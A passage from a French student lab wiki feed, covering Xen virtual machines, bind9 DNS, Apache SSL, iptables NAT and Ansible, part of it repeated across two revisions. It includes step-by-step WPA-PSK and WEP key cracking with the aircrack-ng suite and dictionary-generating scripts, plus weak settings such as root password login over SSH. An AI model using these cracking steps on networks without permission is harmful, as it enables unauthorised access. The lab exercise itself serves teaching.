Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private.&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
Puis on crée&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51746</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51746"/>
				<updated>2019-12-09T17:03:06Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private.&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
Puis on crée&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
